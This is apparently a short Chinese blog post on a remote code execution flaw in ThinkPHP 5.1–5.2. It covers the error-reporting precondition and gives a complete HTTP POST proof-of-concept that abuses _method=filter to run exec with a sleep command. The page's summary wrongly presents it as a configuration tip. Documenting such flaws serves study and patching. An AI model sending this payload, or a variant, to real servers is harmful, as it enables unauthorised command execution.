Thinkphp5.1 ~ 5.2代码执行漏洞

最新推荐文章于 2024-06-16 19:36:15 发布

原创最新推荐文章于 2024-06-16 19:36:15 发布 · 9.9k 阅读

3 ·

CC 4.0 BY-SA版权

Web 专栏收录该内容

216 篇文章

订阅专栏

本文介绍在ThinkPHP5.1中如何正确配置错误报告，通过修改library/think/Error.php文件中的error_reporting()函数，从默认的E_ALL更改为0，以屏蔽项目发布时的异常和错误。

需要在library/think/Error.php中设置：

error_reporting(0);

据作者博客中说的：

本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置

http://proxy.boomeye.com:19300/wordpress/index.php/2019/01/15/thinkphp5-1-5-2-rec/
设置前（默认情况下）：

error_reporting(E_ALL);

在这里插入图片描述
设置后：

payload：

POST /thinkphp-5.1.29/html/public/index.php HTTP/1.1
Host: 192.168.96.129
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Connection: close

c=exec&f=sleep%205&_method=filter